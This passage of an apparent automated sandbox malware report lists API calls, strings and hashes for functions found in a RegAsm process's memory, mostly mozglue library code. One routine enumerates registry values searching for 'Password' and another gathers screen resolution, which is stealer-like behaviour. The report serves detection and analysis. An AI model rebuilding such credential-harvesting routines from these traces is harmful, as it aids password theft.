strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C336B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C336B65
LeaveCriticalSection.KERNEL32(6C35F618,?,?), ref: 6C336B83

Strings

SymInitialize, xrefs: 6C336BA3

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: 05a7ef92a784e38d9d28eba58b1604caeb88083f1b32de7db384ef1e4d381bbb
Instruction ID: 6b8a6c0811adcbe9d2b75f559d4f46877a7100bc7dfaf676d408ad6db5f83f38
Opcode Fuzzy Hash: 05a7ef92a784e38d9d28eba58b1604caeb88083f1b32de7db384ef1e4d381bbb
Instruction Fuzzy Hash: 20417F717053849FDB01DF74D888B9A3BB8BB4A308F484479ED89CF282DB719504CBA1

Function 6C2E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C2E9675
__Init_thread_footer.LIBCMT ref: 6C2E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C2E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C2E9707
__Init_thread_footer.LIBCMT ref: 6C2E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C2E9773

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C2E97B7
FreeLibrary.KERNEL32 ref: 6C2E97D0
FreeLibrary.KERNEL32 ref: 6C2E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C2E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C2E9670
MapViewOfFileNuma2, xrefs: 6C2E97B1
ntdll.dll, xrefs: 6C2E96E3
NtMapViewOfSection, xrefs: 6C2E9701

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: c3a4b0b8cee2b93d3e96fa070e0c47426497c4566a17ba2fe07bc67270081b66
Instruction ID: 723e13030dd4b8e82e1891bfc0aa8947775e040416cf87ae73e70a6bc550eed3
Opcode Fuzzy Hash: c3a4b0b8cee2b93d3e96fa070e0c47426497c4566a17ba2fe07bc67270081b66
Instruction Fuzzy Hash: 12417FB57002469FDF00EFA5E884E967BB8EB4D399F804529ED15A7740D730E828CFA1

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(00000000,004217A0), ref: 00407646
lstrcat.KERNEL32(00000000,00000000), ref: 00407688
lstrcat.KERNEL32(00000000, : ), ref: 0040769A
lstrcat.KERNEL32(00000000,00000000), ref: 004076CF
lstrcat.KERNEL32(00000000,004217A8), ref: 004076E0
lstrcat.KERNEL32(00000000,00000000), ref: 00407713
lstrcat.KERNEL32(00000000,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeProcessValuememsettask
String ID: :
API String ID: 1734577339-3653984579
Opcode ID: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 6C320000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C320039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C320041
GetCurrentThreadId.KERNEL32 ref: 6C320075
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C320082
moz_xmalloc.MOZGLUE(00000048), ref: 6C320090
free.MOZGLUE(?), ref: 6C320104
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C32011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C32005B

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 3030f687fd7d304c26ef86ecd7b80b7b8d71c6209ca7385f5327746a24dea1b8
Instruction ID: 7b97403b2a87edd86b3997e58d79ff5088fa470527e640dceb3a39fc822ec378
Opcode Fuzzy Hash: 3030f687fd7d304c26ef86ecd7b80b7b8d71c6209ca7385f5327746a24dea1b8
Instruction Fuzzy Hash: 7E418CB56003449FCB10CF65C840A9ABBF5FF49318F85452DED9A97B40D735A819CFA2

Function 6C2E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C2E7EA7
malloc.MOZGLUE(00000001), ref: 6C2E7EB3

Part of subcall function 6C2ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C2ECB49
Part of subcall function 6C2ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C2ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C2E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C2E7F19
malloc.MOZGLUE(?), ref: 6C2E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C2E7F4D

Strings

d, xrefs: 6C2E7F89

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 090a70a8639dbb79d7db145f161beb4a0bd592a144469b12aff903e0ca354675
Instruction ID: ecde6eed98b1eec34a363b400d6ea47acf81b1c248550de20ec657fd82561690
Opcode Fuzzy Hash: 090a70a8639dbb79d7db145f161beb4a0bd592a144469b12aff903e0ca354675
Instruction Fuzzy Hash: EA31F871E003489BDB019B68DC045FEB77CEF9560CF449229EC4967612FB30A588C391

Function 6C33AAB0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C35E220,?), ref: 6C33BC2D
ReleaseSRWLockExclusive.KERNEL32(6C35E220), ref: 6C33BC42
RtlFreeHeap.NTDLL(?,00000000,6C34E300), ref: 6C33BC82
RtlFreeUnicodeString.NTDLL(6C35E210), ref: 6C33BC91
RtlFreeUnicodeString.NTDLL(6C35E208), ref: 6C33BCA3
RtlFreeHeap.NTDLL(?,00000000,6C35E21C), ref: 6C33BCD2
free.MOZGLUE(?), ref: 6C33BCD8

Strings

,5l, xrefs: 6C33AABA

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID: ,5l
API String ID: 3047341122-92989610
Opcode ID: 1642185dc8fbe1c4654031a712866dfe4f7d7a880e9340d3a3df7bb9ea77ef49
Instruction ID: 43d9698d8236f7141e79cda6761cff969085f95662d1b42bf72d769aae3a7ac2
Opcode Fuzzy Hash: 1642185dc8fbe1c4654031a712866dfe4f7d7a880e9340d3a3df7bb9ea77ef49
Instruction Fuzzy Hash: A421AE72600B64CBE720AF46D880B66B7ECEF8161CF548469E95D5BA10CB72E845CFE1

Function 00418260 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00EEAB38,00000000,00000000,00000000), ref: 00418295
GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
ReleaseDC.USER32(00000000,?), ref: 004182C2
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
wsprintfA.USER32 ref: 004182F0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

%dx%d, xrefs: 004182E7

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: f0d4acb1ac753fb06a7b9db10b722e5fc8e176ad761074ecd0f0867b839b4748
Instruction ID: 994268d552e07794471dd3910f4d3ddbdeb6f1ac9b11d1c79e25ca2fe4432fdb
Opcode Fuzzy Hash: f0d4acb1ac753fb06a7b9db10b722e5fc8e176ad761074ecd0f0867b839b4748
Instruction Fuzzy Hash: 492130B1A40608AFDB10DFA4DC45FAEBBB9FB48710F104119F605A7290C779A901CBA5

Function 6C2E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C2E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C2E3FDC
RtlAllocateHeap.NTDLL ref: 6C2E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C2E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C2E3CCC), ref: 6C2E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C2E3CCC), ref: 6C2E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C2E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C2E3CCC), ref: 6C2E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C2E3CCC), ref: 6C2E4157

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f6ba971a6bf22583f33190f489c916f321ba21e28ccd63147e789cfdb927e202
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 48A17DB1A0021ACFDB44CF68C880659B7F5FF48318F6541A9D909AF752D772E986CFA0

Function 6C2D2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C2F3F47,?,?,?,6C2F3F47,6C2F1A70,?), ref: 6C2D207F
memset.VCRUNTIME140(?,000000E5,6C2F3F47,?,6C2F3F47,6C2F1A70,?), ref: 6C2D20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C2F3F47,6C2F1A70,?), ref: 6C2D211A
EnterCriticalSection.KERNEL32(6C35E744,?,6C2F3F47,6C2F1A70,?), ref: 6C2D2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C2F3F47,6C2F1A70,?), ref: 6C2D21BA
EnterCriticalSection.KERNEL32(6C35E744,?,6C2F3F47,6C2F1A70,?), ref: 6C2D21E0
LeaveCriticalSection.KERNEL32(6C35E744,?,6C2F3F47,6C2F1A70,?), ref: 6C2D2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C2D2253, 6C2D2268
MOZ_CRASH(), xrefs: 6C2D227D

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 4991b769239ca1a7b1ebbb31da5ce9f50c3327fc86c8372e6a895778988b837a
Instruction ID: aa4751fe4066b4ec6736e7e0c0f60050490f8f062d32f4d3aa13147dff4f9971
Opcode Fuzzy Hash: 4991b769239ca1a7b1ebbb31da5ce9f50c3327fc86c8372e6a895778988b837a
Instruction Fuzzy Hash: FE61E872F0021A8FCB04CE68C889B6D77B5AFA5319F564135FD25A7B95D770AC00CB91

Function 6C329D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C328273), ref: 6C329D65
free.MOZGLUE(6C328273,?), ref: 6C329D7C
free.MOZGLUE(?,?), ref: 6C329D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C329E0F
free.MOZGLUE(6C32946B,?,?), ref: 6C329E24
free.MOZGLUE(?,?,?), ref: 6C329E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C329EC8
free.MOZGLUE(6C32946B,?,?,?), ref: 6C329EDF
free.MOZGLUE(?,?,?,?), ref: 6C329EF5

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 61c39662dba5c5728d969bb90a8f846a2b3abc303bc5b1f72df89d8367310bbb
Instruction ID: 6664cd00aa17fdb6b580712b575b748c8bff7fe7e35b3e53b3e73c25fc6bdcf6
Opcode Fuzzy Hash: 61c39662dba5c5728d969bb90a8f846a2b3abc303bc5b1f72df89d8367310bbb
Instruction Fuzzy Hash: 1D719DB0909B458BDB12CF18C48055BF7F4FF99315B449629EC9A5BB02EB35E886CB81

Function 6C32DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C32DDCF

Part of subcall function 6C30FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C30FA4B

Part of subcall function 6C3290E0: free.MOZGLUE(?,00000000,?,?,6C32DEDB), ref: 6C3290FF
Part of subcall function 6C3290E0: free.MOZGLUE(?,00000000,?,?,6C32DEDB), ref: 6C329108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C32DE0D
free.MOZGLUE(00000000), ref: 6C32DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C32DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C32DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C32DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C31DEFD,?,6C2E4A68), ref: 6C32DF32

Part of subcall function 6C32DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C32DB86
Part of subcall function 6C32DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C32DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C31DEFD,?,6C2E4A68), ref: 6C32DF65
free.MOZGLUE(?), ref: 6C32DF80

Part of subcall function 6C2F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C2F5EDB
Part of subcall function 6C2F5E90: memset.VCRUNTIME140(ew3l,000000E5,?), ref: 6C2F5F27
Part of subcall function 6C2F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C2F5FB2

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f1d9e558b5c90bdc39d6d28f4b10ef6fd633ab426de7cd42f3da81281b6b91c4
Instruction ID: 29631544341afacc183566a906d556813b6639d8176ae1f8946adc7b8e1d5aea
Opcode Fuzzy Hash: f1d9e558b5c90bdc39d6d28f4b10ef6fd633ab426de7cd42f3da81281b6b91c4
Instruction Fuzzy Hash: 8C51B4726016049BDF219B28D8806EEB376BF9531CF95452CD85A53B00D73AF91ACFD2

Function 6C335D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C335C8C,?,6C30E829), ref: 6C335D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C335C8C,?,6C30E829), ref: 6C335D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C335C8C,?,6C30E829), ref: 6C335D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C335C8C,?,6C30E829), ref: 6C335D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C335C8C,?,6C30E829), ref: 6C335DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C335C8C,?,6C30E829), ref: 6C335DC9
std::_Facet_Register.LIBCPMT ref: 6C335DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C335C8C,?,6C30E829), ref: 6C335E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C335C8C,?,6C30E829), ref: 6C335E45

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 23d7972ae7a3e76dd69d751ebad793824e0dc14f3de8f4a2721f0c8ac9462137
Instruction ID: 355328a658949dc821aa19376c101537535fd4083231fdf04184cb83414275d8
Opcode Fuzzy Hash: 23d7972ae7a3e76dd69d751ebad793824e0dc14f3de8f4a2721f0c8ac9462137
Instruction Fuzzy Hash: 9D418D317002158FCB00DF69C898AAE77F9FF89318F544168E54A9B791EB35E805CFA1

Function 6C30CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C2D31A7), ref: 6C30CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C30CFA4, 6C30CFB8
<jemalloc>, xrefs: 6C30CF9F, 6C30CFB3

Memory Dump Source

